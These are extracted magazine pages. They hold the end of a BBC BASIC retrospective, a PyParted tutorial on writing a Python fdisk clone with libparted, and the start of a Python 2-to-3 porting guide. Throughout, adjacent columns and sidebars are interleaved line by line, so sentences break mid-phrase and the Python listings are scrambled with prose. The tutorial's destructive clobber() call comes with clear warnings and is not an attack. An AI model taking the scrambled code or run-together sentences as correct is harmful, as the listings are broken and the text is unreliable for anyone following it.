BASIC simulator: Despite some disparagement over the years, BASIC
10 PRINT “HELLO, HOW MANY DICE TO THROW?” had a significant impact on a generation of coders
20 INPUT DICENUMBER and on a particular approach to more intuitive
30 PRINT “YOU WANT TO THROW “ DICENUMBER “ DICE.” programming. That built-in BASIC prompt during the
40 FOR I = 1 TO DICENUMBER microcomputer era also meant that a generation of
50 DICERANDOM = RND(6) computer users were accustomed to the idea of
60 PRINT “DIE THROWN “ DICENUMBER programming and adapting the computer for your
70 NEXT own purposes – in itself a hugely positive idea.
80 END Modern computers are far superior in almost all
This demonstrates the FOR...NEXT loop. As with regards to those early microcomputers, and modern
modern code, you specify start and end, and programming languages far more powerful and
optionally step up (1 being the default). At line 50, we flexible than BBC BASIC and its ilk. But the sheer ease
use the keyword RND to generate a random number. of access does set BASIC apart from the rest. At least,
With BBC BASIC, RND without a parameter generates I’m pretty sure that’s not just the nostalgia talking…
a random number between 0 and 1 (exclusive of 1);
RND(number) generates a random integer between 1
and number (inclusive of number). Run this with RUN Juliet Kemp is a programming polyglot, and the author of
O’Reilly’s Linux System Administration Recipes.
and try throwing some dice.

www.linuxvoice.com 93
TUTORIAL PYPARTED

PYPARTED: PYTHON DOES
TUTORIAL
DISK PARTITIONING
VALENTINE Build a custom, command line disk partitioning tool by joining the
SINITSYN
user-friendliness of Python and the power of C.

P
artitioning is a traditional way to split disk install to build and install it. It’s a good idea to install
WHY DO THIS? drives into manageable chunks. Linux comes PyParted you’ve built yourself inside the virtualenv
• Take complete control of with variety of tools to do the job: there are (see http://docs.python-guide.org/en/latest/dev/
your system’s hard disk. fdisk, cfdisk or GNU Parted, to name a few. GNU virtualenvs for details), to keep your system
• Write a custom installer Parted is powered by a library by the name of directories clean. There is also a Makefile, if you wish.
to make things easier libparted, which also lends functionality to many This article’s examples use PyParted 3.10, but the
for your users.
graphical tools such as famous GParted. Although it’s concepts will stay the same regardless of the version
• Amaze your friends and
family with your mastery powerful, libparted is written in pure C and thus not you actually use.
of the libparted C library. very easy for the non-expert to tap into. If you’re Before we start, a standard caution: partitioning
writing your own custom partitioner, to use libparted may harm the data on your hard drive. Back
you’re going to have to manage memory manually everything up before you do anything else!
and do all the other elbow grease you do in C. This is
where PyParted comes in – a set of Python bindings Basic concepts
to libparted and a class library built on top of them, The PyParted API has two layers. At the bottom one is
initially developed by Red Hat for use in the Anaconda the _ped module. Implemented entirely in C, it tries to
installer. keep as close as possible to the native libparted C API.
So why would you consider writing disk partitioning On top of that, the ‘parted’ package with high-level
software? There could be several reasons: Python classes, functions and exceptions is built. You
You are developing a system-level component like can use _ped functions directly if you wish; however,
an installer for your own custom Linux distribution the parted package provides a more Pythonic
You are automating a system administration task approach, and is the recommended way to use
such as batch creation of virtual machine (VM) PyParted in your programs unless you have some
images. Tools like ubuntu-vm-builder are great, but special requirements. We won’t go into any details of
they do have their limitations using the _ped module in this article.
You’re just having fun. Before you do anything useful with PyParted, you’ll
PyParted hasn’t need a Device instance. A Device represents a piece of

“A word of caution: partitioning made its way into the
Python Package Index
physical hardware in your system, and provides the
means to obtain its basic properties like model,
may harm the data on your (PyPI) yet, but you may geometry (cylinders/heads/sectors – it is mostly fake

hard drive. Back everything up!” be lucky enough to find
it in your distribution’s
for modern disks, but still used sometimes), logical
and physical sector sizes and so on. The Device class
repositories. Fedora also has methods to read data from the hardware and
(naturally), Ubuntu and Debian provide PyParted write it back. To obtain a Device instance, you call one
packages, and you can always build PyParted yourself of the global functions exported by PyParted (in the
from the sources. You will need the libparted headers examples below, >>> denotes the interactive Python
(usually found in libparted-dev or similar package), prompt, and … is an omission for readability reasons
Python development files and GCC. PyParted uses the or line continuation if placed at the beginning):
distutils package, so simply enter python setup.py >>> import parted
>>> # requires root privileges to communicate
... with the kernel
>>> [dev.path for dev in parted.getAllDevices()]
[u’/dev/sda’, u’/dev/mapper/ubuntu--vg-swap_1’,
u’/dev/mapper/ubuntu--vg-root’,
u’/dev/mapper/sda5_crypt’]
>>> # get Device instance by path
>>> sda = parted.getDevice(‘/dev/sda’)
PyParted was developed to >>> sda.model
facilate Red Hat’s installer, u’ATA WDC WD1002FAEX-0’
Anaconda. >>> sda.hardwareGeometry, sda.biosGeometry

94 www.linuxvoice.com
PYPARTED TUTORIAL

((121601, 255, 63),
(121601, 255, 63)) # cylinders, heads, sectors Caution: partitioning may void your warranty
>>> sda.sectorSize, sda.physicalSectorSize
Playing with partitioning is fun but also quite is writable for the user that you are running
(512L, 512L) dangerous: wiping the partition table on your scripts as). The last command removes the
>>> # Destroy partition table; NEVER do this on machine’s hard drive will almost certainly device when it is no longer needed.
... your computer’s disk! result in data loss. It is much safer to do If you feel adventurous, you can also fake
>>> sda.clobber() your experiments in a virtual machine (like your hard drive with a qcow2 (as used by
VirtualBox) with two hard drives attached. If Qemu), VDI, VMDK or other image directly
True
this is not an option, you can ‘fake’ the hard supported by virt-manager, Oracle VirtualBox
Next comes the Disk, which is the lowest-level drive with an image file ($ is a normal user or VMware Workstation/Player. These
operating system-specific abstraction in the PyParted and # is a superuser shell prompt): images can be created with qemu-img and
class hierarchy. To get a Disk instance, you’ll need a $ dd if=/dev/zero of=<image_file_name> \ mounted with qemu-nbd:
Device first: bs=512 count=<disk_size_in_sectors> $ qemu-img create -f vdi disk.vdi 10G
This will almost work; however, Partition. # modprobe nbd
>>> disk = parted.newDisk(sda)
getDeviceNodeName() will return non- # qemu-nbd -c /dev/nbd0 disk.img
Traceback (most recent call last): existent nodes for partitions on that device. You can then mount the partitions on
... For more accurate emulation, use losetup disk.img as /dev/nbd0pX (where X is
_ped.DiskException: /dev/sda: unrecognised disk label and kpartx: partition number), provided the label you use
This reads the disk label (ie the partitioning scheme) # losetup -f <image_file_name> is supported by your OS kernel (unless you
# kpartx -a /dev/loopX are creating something very exotic, this will
from /dev/sda and returns the Disk instance that
... be the case). When you are done, run:
represents it. If /dev/sda has no partitions (consider # losetup -d /dev/loopX # qemu-nbd -d /dev/nbd0
the sda.clobber() call before), parted.DiskException is where X is the losetup device assigned to to disconnect image from the device. This
raised. In this case, you can create a new disk label of your image file (get it with losetup -a). After way, you can create smaller images that are
your choice: that, you may refer to the partitions on your directly usable in virtual machines.
image file via /dev/loopXpY (or /dev/mapper/ Sometimes, it may look like changes you
>>> disk = parted.freshDisk(sda, ‘msdos’) # or ‘gpt’
loopXpY, depending on your distribution). make to such virtual drives via external tools
You can do it even if the disk already has partition This will require root privileges, so be careful. (like mkfs) are silently ignored. If this is your
table on it, but again, beware of data-loss. PyParted You can still run your partitioning scripts case, flush the disk buffers:
supports many disk labels. However, traditional on an image file as an ordinary user, given # blockdev --flushbufs <device_node_name>
‘msdos’ (MBR) and newer ‘gpt’ (GUID Partition Table) that the file has sufficient permissions (ie
are probably most popular in PC world.
Disk’s primary purpose is to hold partitions:
# Will be empty after clobber() or freshDisk() >>> geometry = parted.Geometry(start=0,
>>> disk.partitions ... length=parted.sizeToSectors(128, ‘MiB’,
[<parted.partition.Partition object at 0x1043050>, ...] ... sda.sectorSize), device=sda)
Each partition is represented by Partition object >>> new_partition = parted.Partition(disk=disk,
which provides ‘type’ and ‘number’ properties: ... type=parted.PARTITION_NORMAL,
>>> existing_partition = disk.partitions[0] ... geometry=geometry)
>>> existing_partition.type, existing_partition.number >>> new_partition.geometry
(0L, 1) # 0 is normal partition <parted.geometry.Geometry object at 0xdc9050>
>>> parted.PARTITION_NORMAL Partitions (or geometries, to be more precise) may
0 also have an associated FileSystem object. PyParted
Besides parted.PARTITION_NORMAL, there are can’t create new filesystems itself (parted can, but it is
other partition types (most importantly, parted. still recommended that you use special-purpose
PARTITION_EXTENDED and parted.PARTITION_ utilities like mke2fs). However, it can probe for existing
LOGICAL). The ‘msdos’ (MBR) disk label supports all filesystems:
of them, however ‘gpt’ can hold only normal partitions. >>> parted.probeFileSystem(new_partition.geometry)
PRO TIP
Partitions can also have flags like parted. Traceback (most recent call last):
Python virtual
PARTITION_BOOT or parted.PARTITION_LVM. Flags ... environments
are set by the Partition.setFlag() method, and _ped.FileSystemException: Failed to find any filesystem (virtualenvs) are a great
retrieved by Partition.getFlag(). We’ll see some in given geometry to play with modules that
you don’t need on your
examples later. >>> parted.probeFileSystem(existing_partition.geometry) system permanently.
The partition’s position and size on the disk are u’ext2’
defined by the Geometry object. Disk-related values >>> new_partition.fileSystem
(offsets, sizes, etc) in PyParted are expressed in <parted.filesystem.FileSystem object at 0x27a1310>
sectors; this holds true for Geometry and other The names (and corresponding FileSystem objects)
classes we’ll see later. You can use the convenient for filesystems recognised by PyParted are stored in
function parted.sizeToSectors(value, ‘B’, device. parted.fileSystemType dictionary:
sectorSize) to convert from bytes (denoted as ‘B’; >>> parted.fileSystemType.keys()
other units such as ‘MB’ are available as well). You set [u’hfsx’, u’fat32’, u’linux-swap(v0)’, u’affs5’, u’affs2’, u’ext4’,
the Geometry when you create the partition, and u’ext3’, u’ext2’, u’amufs’, u’amufs0’, u’amufs1’, u’amufs2’,
access it later via the partition.geometry property: u’amufs3’, u’amufs4’, u’amufs5’, u’btrfs’, u’linux-swap(v1)’,
>>> # 128 MiB partition at the very beginning of the disk u’swsusp’, u’hfs+’, u’reiserfs’, u’freebsd-ufs’, u’xfs’, u’affs7’,

www.linuxvoice.com 95
TUTORIAL PYPARTED

Let’s start with Alignment, which is defined by two
values: offset and grain. Any sector number X with X =
offset + N * grain (with N being non-negative integer)
complies with Alignment. When you need to tell
PyParted that your partitions should start (or end) at a
1MiB (or some other) boundary, Alignment is the way
to do it. Any value satisfies Alignment(0, 1) which is
equivalent to no alignment at all.
Constraint is basically a set of six conditions on
Geometry (not a Partition!) that are wrapped together
to control the following:
How the Geometry’s boundaries are aligned
(startAlign/endAlign properties).
Where the Geometry can start or end (startRange/
endRange).
fdisk displays partition u’ntfs’, u’zfs’, u’affs4’, u’hfs’, u’affs6’, u’affs1’, u’affs0’, What the Geometry’s minimum and maximum
table on the author’s
u’affs3’, u’hp-ufs’, u’fat16’, u’sun-ufs’, u’asfs’, u’jfs’, sizes are (minSize/maxSize).
computer.
u’apfs2’, u’apfs1’] You do not always need to specify all of them. The
To add a partition to the disk, use Constraint constructor provides the shortcuts
disk.addPartition(): minGeom, maxGeom and exactGeom, which create a
>>> disk.addPartition(new_partition) Constraint that fully embraces, is fully contained by, or
Traceback (most recent call last): exactly coincides with the Geometry you pass as an
... argument. If you use one of these, any alignment will
_ped.PartitionException: Unable to satisfy all constraints satisfy the Constraint check. As another special case,
on the partition. Constraint(device=dev) accepts any Geometry
attached to the Device dev.
As you can see, partitions on the disk are subject to It isn’t easy to catch the meaning of all these
some constraints, which we’ve occasionally violated properties at once. Have a look at the diagram below,
here. When you pass a partition to disk.addPartition(), which depicts all of them in graphical form. Both
its geometry may change due to constraints that you Alignment and Constraint provide the intersect()
spefify via the second argument (in the example method, which returns the object that satisfies both
above, it defaults to None), and constraints imposed requirements. You can also check that the given
by libparted itself (for instance, in the MBR scheme, it Geometry satisfies the Constraint with the Constraint.
won’t let you start a partition at the beginning of a isSolution(geom) method. The Constraint.solveMax()
disk, where the partition table itself resides). This is method returns the maximum permitted geometry
where things start to that satisfies the Constraint, and Constraint.
“Managing constraints is get interesting. solveNearest(geom) returns the permitted geometry
that is nearest to the geom that you’ve specified.
probably the most complex Know your limits What’s ‘nearest’ is up to the implementation to decide.
thing PyParted does for you.” Managing constraints
is probably the most Partitioning on Ye Olde Windows NT
complex and most Imagine for a moment you need to create system
useful part of what PyParted does for you. Partitions partition for Windows NT4 prior to Service Pack 5
A visual representation on a hard disk generally can’t start or end where you (remember that weird creature?). As the hardware
of different kwargs want. There should be a gap between the beginning of requirements suggest (http://en.wikipedia.org/wiki/
accepted by the Constraint a disk and your first partition to store internal Windows_NT#Hardware_requirements), it must be
constructor. Red/Yellow partitioning data; today, many operating systems no more than 4GB in size, contained within the first
rectangles are startRange/
reserve 1MiB for these purposes. Partitions should be 7.8GB of the hard disk, and begin in the first 4GBs.
endRange, blue/green are
maxGeom/minGeom. Large aligned to physical sector boundaries, or severe Here’s how to do this with PyParted:
ticks denote startAlign performance degradation may occur. This is not to >>> optimal = sda.optimumAlignment
(lower) or endAlign(upper). say that partitions can’t overlap; PyParted takes care >>> start = parted.Geometry(device=sda,
Small ticks represent of all these nuances, and Constraint and Alignment ... start=0,
sectors. classes play a central role in this process. ... end=parted.sizeToSectors(4, ‘GB’,
... sda.sectorSize))
>>> end = parted.Geometry(device=sda,
... start=0,
... end=parted.sizeToSectors(7.8, ‘GB’,
... sda.sectorSize))
>>> min_size = parted.sizeToSectors(124, ‘MB’,
Hard disk space. ... sda.sectorSize) # See [ref:4]

96 www.linuxvoice.com
PYPARTED TUTORIAL

>>> max_size = parted.sizeToSectors(4, ‘GB’,
... sda.sectorSize) Each disk needs a label
>>> constraint=parted.Constraint(startAlign=optimal, Many modern operating systems enable you standards, it’s very limited: it may contain
... endAlign=optimal, to assign a label to a disk, which is especially at most four partitions (called ‘primary’) and
... startRange=start, endRange=end, useful for removable media (/media/ stores partition offsets as 32-bit integers.
... minSize=min_size, maxSize=max_size) BobsUSBStick says more than /media/sdb1). If you need more, one partition should be
But they are not the disk labels that libparted marked as ‘extended’, and it may contain as
>>> disk.addPartition(partition=new_partition,
refers to. many logical partitions as you want. This is
... constraint=constraint) When we speak of disk labels on these the reason why logical partitions are always
True pages, we mean partition tables. It is very numbered starting with 5 in Linux.
>>> print new_partition.geometry uncommon for a hard disk to not to have one The newer GUID Partition Table (‘gpt’) is
parted.Geometry instance -- (although many flash drives comes with no much more flexible. It’s usually mentioned
partitions). Linux usually sees unpartitioned in connection with UEFI, however it is
start: 2048 end: 262144 length: 260097
devices as /dev/sdX (with X being a letter); self-contained and can be used on BIOS
... partitions are suffixed with an integer (say, systems as well. In a ‘gpt’ disk label,
If you want to specify startRange or endRange, /dev/sda1). partitions are identified by Globally Unique
you’ll need to provide both alignments and size There are many different partitioning Identifiers (GUID) values. Their starting and
constraints as well. Now, please go back and look at schemes (or disk labels). Traditionally, the ending offsets are 64-bit, so there is some
‘msdos’ (MBR) disk partitioning scheme was safety margin for hard disks of tomorrow’s
the first line. As you probably guessed, device.
the most popular one for PCs. By today’s capacities.
optimumAlignment and its counterpart, device.
minimumAlignment, provides optimum (or minimum)
alignment accepted by the hardware device you’re
creating the partition on. Under Linux, in-kernel device so I suggest you open the program code now in
driver-reported attributes like alignment_offset, GitHub (https://github.com/vsinitsyn/fdisk.py) to
minimum_io_size and optimal_io_size are generally follow it as you read the next section.
used to determine the meaning of ‘minimum’ and
‘optimum’. For example, an optimally aligned partition Your very own fdisk
on a RAID device may start on a stripe boundary, but a fdisk is probably the most basic partitioning tool. It’s
fixed 1MiB-grained alignment (as in Windows 7/Vista) an console program: it reads single-letter commands
will usually be preferred for an ordinary hard disk. entered by a user and acts accordingly, printing
‘Minimum’ is roughly equivalent to ‘by physical sector results on the screen. Originally, it supported MBR and
size’, which can be 4,096 bytes even if the device also BSD/SUN disk labels; we’ll stick to MBR only.
advertises traditional 512-bytes sector addressing. Our example (let’s call it fdisk.py) is a somewhat
Back to the _ped.PartitionException we saw earlier. more elaborate version of fdisk/fdisk.py found in the
In order to fix it, you need to specify the proper PyParted sources https://git.fedorahosted.org/cgit/
constraint: pyparted.git/tree/src/fdisk/fdisk.py, but it’s a bit
>>> # Most relaxed constraint; anything on the simplified compared with the real fdisk. Since parted
... device would suffice and fdisk are not 100% compatible (although parted
>>> disk.addPartition(new_partition, is more advanced in many ways), there are some
... parted.Constraint(device=sda)) discrepancies (see comments in the sources for
True details). However, fdisk.py implements all the basic
>>> print new_partition.geometry functions you’d expect from the partitioning software:
parted.Geometry instance -- it can create partitions (both primary and logical), list
start: 32 end: 262143 length: 262112 them, delete them, and even mark them as bootable.
... All of these options are implemented as methods of
>>> print geometry the Fdisk class, which is instantiated when the
parted.Geometry instance -- program starts. In Fdisk.__init__(), we check whether
start: 0 end: 262143 length: 262144 the drive already has a partition table and create it if
... necessary. If the disk has any partition table other
Note that the Geometry we’ve specified was adjusted than MBR, the program exits immediately. The main
due to constraints imposed internally by libparted for loop simply dispatches commands entered by a user
the MBR partitioning scheme. to Fdisk’s instance methods. If any of them raise an
When you’re done, commit the changes you’ve ExitMainLoop exception, the program ends.
made to the hardware. Otherwise they will remain in Let’s start with the code that displays a partition
memory only, and the real disk won’t be touched: table. In the real fdisk, it looks like the image at the top
>>> disk.commit() of page 96. And the following is the relevant part of
True fdisk.py code:
We’ve seen all the major bits that PyParted is made print “””
from. Now let’s use all of them together in a bigger Disk {path}: {size_mbytes:d} MB, {size:d} bytes
program – an fdisk clone, almost full-featured, and {heads:d} heads, {sectors:d} sectors/track, \
just a little more than 400 lines of Python code in size! {cylinders:d} cylinders, total {sectors_total:d} sectors
Not all of these lines will be in the magazine, obviously, Units = 1 * sectors of {unit:d} = {unit:d} bytes

www.linuxvoice.com 97
TUTORIAL PYPARTED

previous section). Since we don’t allow our user to
change units (as the real fdisk does), unit variable is
always equal to sector size. Everything else is
straightforward.
Parted has no concept of DOS disk label types such
as ‘Linux native’, ‘Linux swap’, or ‘Win95 FAT32’. If you
were to install good old Slackware using fdisk back in
1999, you would almost certainly use some of these.
libparted provides the power behind many well-known So we emulate disk labels to some extent on top of
free software tools, including GParted. the partition and filesystem types provided by
PyParted. This is done in the Fdisk._guess_system()
Sector size (logical/physical): {sector_size:d} \ method. We recognise things like ‘Linux LVM’ and
bytes / {physical_sector_size:d} bytes ‘Linux RAID’, parted.PARTITION_SWAP maps to ‘Linux
I/O size (minimum/optimal): {minimum_io_size:d} \ swap’, ext2/3/4, btrfs, ReiserFS, XFS, and JFS are
bytes / {optimal_io_size:d} bytes displayed as ‘Linux native’, and we even support
“””.format(**data) FAT16/32 and NTFS. As a bonus, PyParted enables
you to identify hidden or service partitions added by
width = len(disk.partitions[0].path) \ some hardware vendors (https://git.fedorahosted.
if disk.partitions else len(‘Device’) + 1 org/cgit/pyparted.git/tree/src/fdisk/fdisk.py). If the
print “{0:>{width}} Boot Start \ heuristic doesn’t work, we print ‘unknown’.
End Blocks Id System”.format(‘Device’, width)
The data dictionary is filled as follows: Creating partitions
unit = device.sectorSize It is also easy to delete a partition. The only thing to
size = device.length * device.sectorSize remember is that partitions on the disk can be out of
cylinders, heads, sectors = \ order, so you can’t use the partition number as an
device.hardwareGeometry index in the disk.partitions array. Instead, we iterate
minGrain, optGrain = \ over it to find the partition with the number that a user
device.minimumAlignment.grainSize, has specified:
device.optimumAlignment.grainSize for p in self.disk.partitions:
data = { if p.number == number:
‘path’: device.path, try:
‘size’: size, self.disk.deletePartition(p)
‘size_mbytes’: int(parted.formatBytes(size, ‘MB’)), except parted.PartitionException as e:
‘heads’: heads, print e.message
‘sectors’: sectors, break
‘cylinders’: cylinders, If we try to delete an extended partition that
‘sectors_total’: device.length, contains logical partitions, parted.PartitionException
‘unit’: unit, will be raised. We catch it and print a friendly error
‘sector_size’: device.sectorSize, message. The last break statement is essential.
‘physical_sector_size’: device.physicalSectorSize, PyParted automatically renumbers the partitions
‘minimum_io_size’: minGrain * device.sectorSize, when you delete any of them. So, if you have, for
‘optimal_io_size’: optGrain * device.sectorSize, instance, partitions 1–4, and delete the one numbered
} 3, the partition that was previously number 4 will
We can deduce the maximum and optimum I/O become the new 3, and will be deleted at the next
sizes from corresponding alignment values (see the iteration of the loop.
The largest method, not surprisingly, is the one that
creates partitions. Let’s look at it step by step. First of
Chinese Remainder Theorem
all, we check how many primary and extended
If you were curious enough to skim through basket, you’ll need to take them out in partitions are already on the disk, and how many
the libparted documentation, you’ve batches of five. Using the Chinese Remainder primary partitions are available:
probably spotted a reference to the Chinese Theorem, you can determine how many eggs
# Primary partitions count
Remainder Theorem. Despite the somewhat are in the basket.
flippant name, it’s a serious statement that When you place a partition somewhere pri_count = len(self.disk.getPrimaryPartitions())
comes from number theory. Basically, it lets on a disk, libparted needs to satisfy both # HDDs may contain only one extended partition
you to find a minimum integer that yields alignments (among other things). This is ext_count = 1 if self.disk.getExtendedPartition() else 0
given remainders for given divisors. If this accomplished by solving a system of linear # First logical partition number
all sounds like gibberish, think of a basket of equations (see the natmath.c source code
lpart_start = self.disk.maxPrimaryPartitionCount + 1
eggs. You don’t know how many of them are if you are really curious). It’s amazing to
in it, however, if you take them out by twos realise that a 1,500-year old maths problem # Number of spare partitions slots
or threes, you’ll have one of them remaining is useful for a free software library of the parts_avail = self.disk.maxPrimaryPartitionCount -\
in the bottom of the basket; to empty the 21st century. (pri_count + ext_count)
Then we check if the disk has some free space and

98 www.linuxvoice.com
PYPARTED TUTORIAL

return from the method if not. After this, we ask the
user for the partition type. If there are no primary Resources
partitions available, and no extended partition exists,
PyParted homepage https://fedorahosted.org/pyparted
one of primary partitions needs to be deleted, so we Virtual Environments guide http://docs.python-guide.org/
return from the method again. Otherwise, a user can en/latest/dev/virtualenvs
create either a primary partition, an extended partition Partition types: properties of partition tables
(if there isn’t one yet), or a logical partition (if an www.win.tue.nl/~aeb/partitions/partition_types-2.html
Windows NT4 Hardware Requirements
extended partition is already here). If the disk has
http://en.wikipedia.org/wiki/Windows_NT#Hardware_
fewer than three primary partitions, a primary partition requirements
is created by default; otherwise we default to an fdisk.py sources (this article’s version)
extended or logical one. https://github.com/vsinitsyn/fdisk.py
We also need to find a place to store the new PyParted’s fdisk.py sample code
https://git.fedorahosted.org/cgit/pyparted.git/tree/src/
partition. For simplicity’s sake, we use the largest free
fdisk/fdisk.py
region available. Fdisk._get_largest_free_region() is
responsible for this; it’s quite straightforward except
one simple heuristic. It ignores regions shorter than After that, Fdisk._create_partition() asks for the
optimum alignment grain (usually 2048 sectors): they beginning and the end of the partition. Fdisk._parse_
are most likely alignment gaps. last_sector_expr() parses expressions like +100M,
Any logical partition created must fit inside the which fdisk(1) uses as the last sector specifier. Then,
extended partition, and we use Geometry.intersect() the partition is created as usual:
to ensure that this is the case. On the contrary, a try:
primary partition must lie outside the extended, so if partition = parted.Partition(
the intersection exists, we return from the method. disk=self.disk,
The code is similar in both cases; below is the former type=type,
check (which is a bit shorter): geometry=parted.Geometry(
try: device=self.device,
geometry = ext_part.geometry.intersect(geometry) start=part_start,
except ArithmeticError: end=part_end))
print “No free sectors available” self.disk.addPartition(partition=partition,
return constraint=constraint)
If there is no intersection, Geometry.intersect() except (parted.PartitionException,
raises ArithmeticError. parted.GeometryException,
All the heavy lifting is done in the Fdisk._create_ parted.CreateException) as e:
partition() method, which accepts the partition type raise RuntimeError(e.message)
and the region that will hold the new partition. It starts If part_start or part_end are incorrect, the exception
as follows: will be raised (see the comments in the source code
alignment = self.device.optimalAlignedConstraint for the details). It is caught in the Fdisk.add_partition()
constraint = parted.Constraint(maxGeom=geometry).\ method, which displays error messages and returns.
intersect(alignment) To save the partition table on to the disk, a user
data = { enters the w command at the fdisk.py prompt. The
‘start’: constraint.startAlign.\ corresponding method (Fdisk.write()) simply calls
alignUp(region, region.start), disk.commit() and raises MainLoopExit to exit.
‘end’: constraint.endAlign.\
alignDown(region, region.end), Afore ye go
} Python is arguably the scripting language of choice in
As in the real fdisk(1), we align partitions optimally today’s Linux landscape, and is widely used for
by default. The partition created must be no larger various tasks including the creation of system-level
than the available free space (the region argument), components. As an interpreted language, Python is
so the maxGeom constraint is enforced. Intersecting just as powerful as its bindings, which enable scripts
these gives us a Constraint that aligns partitions to make use of native C libraries. In this perspective,
optimally within boundaries specified. data[‘start’] and it’s nice to have tools like PyParted in our arsenal.
data[‘end’] are used as guidelines when prompting for Implementing partitioners is hardly an everyday task
the partition’s boundaries, and they shouldn’t be for most of us, but if you ever face it, the combination
misleading. Thus we perform the same calculation of an easy-to-use language and a production-grade
that libparted does internally: find start or end values library can greatly reduce your programming efforts
that are in a specified range and aligned properly. Try and development time.
to play with these; for example, change the alignment
to self.device.minimalAlignedConstraint and see Dr Valentine Sinitsyn edited the Russian edition of O’Reilly’s
what changes when you create a partition on an Understanding the Linux Kernel, has a PhD in physics, and is
currently doing clever things with Python.
empty disk.

www.linuxvoice.com 99
CODING PYTHON 3

PYTHON: MIGRATE YOUR
TUTORIAL
PROGRAMS TO VERSION 3
It’s been long enough: it’s time to port your applications to
RICHY DELANEY
Python 3 and take advantage of its great new features.

P
ython, like most other pieces of software, sees be written in Python 3? For many years following
WHY DO THIS? incremental releases fairly frequently. If you the release of Python 3, the lack of quality external
• Embrace the future! have used Python on any Linux distribution in libraries meant that it was often not a good choice.
• Take advantage of the the past decade, it’s likely that you were using Python Nowadays, this has changed significantly, and the
latest improvements to
Python. 2 of some variety (Python 2.0 was released in October number of libraries that support Python 3 is growing
• Get users around the 2000, and the last Python release of the 2.x versions every day. Major Python projects such as the Django
world with Unicode was 2.7). web framework now support Python 3 on its stable
characters. All of the previous releases of Python have been branch.
backwards compatible, which means that although Coupled with this, Python 2.X is now an old
the underlying code has changed with each release, language that, although maintained and supported, is
the core structure of Python remained the same. The no longer developed. Guido recently extended the life
syntax as well as the majority of the standard library of Python 2.7 to 2020, but Python 2.7 is a language
APIs were unchanged. This meant that code that runs which is guaranteed to not have any new features in
on Python 2.5 for example should run on Python 2.7. its lifespan. With Python 3, you get all the latest and
Python 3 was the first release of Python that was greatest features in the standard library.
backwards incompatible. This led to a slow uptake,
and many developers were reluctant to put in the Fantastic features
extra effort to update their software. There is still a If you read about Python 3 online, you may be forced
massive subset of the Python community who use into thinking the only difference is that the print
Python 2.X rather than the new version. statement is now a function, but Python 3 also adds
However, there were also advantages to breaking real improvements:
compatibility with Python 2. It has enabled the Unicode is supported throughout the standard
developers to get rid of a lot of the cruft that had built library and is the default type for any strings
up in the language, and helped them to add some defined.
modern features. Mistakes in the core API can be The new asyncio library, which is part of the
corrected without having to worry about maintaining standard library, gives a defined way to do
compatible with a whole host of older software. asynchronous programming in Python. This makes
it easy to write concurrent programs enabling you
The language evolves to make the most of your new-generation hardware.
It’s important to understand how Python is developed Better exception handling: in Python 2.X there were
and designed by its community. Thanks to the very lots of ways to throw and catch exceptions; with
open design discussions through Python Python 3, error handling is cleaner and improved.
Enhancement Proposals (see the What In The World Virtualenv is now part of the standard Python
Are PEPs boxout, right), there are reasoned distribution. The Virtualenv environment provides
discussions around every change in the language.
Decisions are made on these discussions by the
Python community at large and of course by the What in the world are PEPs?
Benevolent Dictator for Life (BDFL) Guido Van PEPs (Python Enhancement Proposals) are the main
Rossum, the original creator of the Python forums in the Python community for proposing new
programming language. Along with this form of features or improvements to the Python core language.
discussion, there are also a lot of language decisions They enable the community to review, discuss and improve
proposals. They also enable readers to digest why certain
made on the Python development mailing list.
features are the way they are as well as looking at the
Most of the decision making and design proposals alternates were rejected and why, so they’re often helpful
for the Python 3 took place during PEPs 3000 in understanding how you would use a certain feature – a
and 3100, which are still online for all to see. It is good example being PEP-8, (http://python.org/dev/peps/
through this open forum that the Python language pep-0008), which documents the suggested coding style
for Python. Popular tools such as pep8 and flake8 enforce
is developed and is truly one of the great parts of the
these rules when run on a Python file. The main PEP index
language and its ecosystem. What makes Python can be found at http://python.org/dev/peps.
3 worth the switch? Why should your new project

100 www.linuxvoice.com
PYTHON 3 CODING

a way to build a lightweight Python runtime that }
enables you to have isolated Python environments CHINESE_MESSAGES = {
running potentially different Python versions and “greeting”: u”世界，你好！”,
libraries. Previously this was third-party software “num1”: u”第一个号码”.encode(“utf-8”),
which had to be installed separately. If Python 3 is “num2”: u”第二个号码”.encode(“utf-8”),
installed on your system, then so is Virtualenv.
PYC (Python Byte Compiled) files now live in a “div”: u”除以%d%d给出了%f”.encode(“utf-8”)
new directory called pycache. In previous Python }
releases, PYC files cluttered directories as they lived
in the same place as the source files. There is also LOCALES = {
an improvement in how they are stored, as there are “en”: ENGLISH_MESSAGES,
separate files per interpreter. “ch”: CHINESE_MESSAGES
There is now a single number type in Python. Prior }
to Python 3, there were two types: longs and int,
which has been simplified to just the int type. def grab_input(locale_messages, locale_key):
The standard library itself is much improved in lots user_msg = locale_messages[locale_key]
of places. x = raw_input(user_msg)
The main thing to note is that the effect of the # python 2.X converts this automatically to a long
changes in Python 3 on the syntax and overall # in the case where it is > sys.maxint
usability of the language is very small. This should # something you don’t have to think about with
mean that existing Python developers feel very # python 3
comfortable with Python 3 and that Python 3 is just return int(x)
as user friendly as other Python versions are to new
users of the language. def div(x, y, locale_messages):
At the time of writing, mainstreams distributions do # need to first make x a float before we can divide
not ship Python 3 as the default distribution. However, floated_x = float(x)
some systems come with Python 3 installed, while print locale_messages[“div”] % (
others have it in the repositories. Ubuntu comes x, y, (floated_x / y))
with Python 3 pre-installed in 14.04. In 12.04, you return floated_x / y
can install Python 3 by getting the python3-minimal if __name__ == “__main__”:
package from your package manager. Ubuntu and parser = argparse.ArgumentParser()
Fedora have open tickets to make Python 3 the parser.add_argument(“--locale”, “-l”, dest=”locale”,
default Python. This is currently scheduled for Fedora default=”en”)
22, and was an unreached goal for Ubuntu 14.04. args = parser.parse_args()
More information on installing Python 3 on Ubuntu locale_messages = LOCALES[args.locale]
can be found in the boxout below. print locale_messages[“greeting”]
x = grab_input(locale_messages, “num1”)
Porting to Python 3 y = grab_input(locale_messages, “num2”)
Let’s take a look at what’s involved in porting some
code from Python 2.7 to 3.3. This example will explore div(x, y, locale_messages)
some of the main pain points and improvements in This program asks a user for two numbers, and
Python 3.3 – the code is quite simple, but in the wild then displays the result of addition, subtraction and
there are a lot of different challenges that you could division of these numbers. The main difficulty in
face when trying to port large bodies of code. All of the this program is the Unicode support for the Chinese
code listings, for Python 2.7 and Python 3 versions, locale. The following is a demo run of the program
can be found at linuxvoice.com/lv5-python.tar.gz. using the Chinese locale.
The code we’re using is a simple locale-specific $ python2.7 simple_calc.py --locale=ch
calculator program. This program displays some of 世界，你好！
the inherent problems with the way that Python 2.X
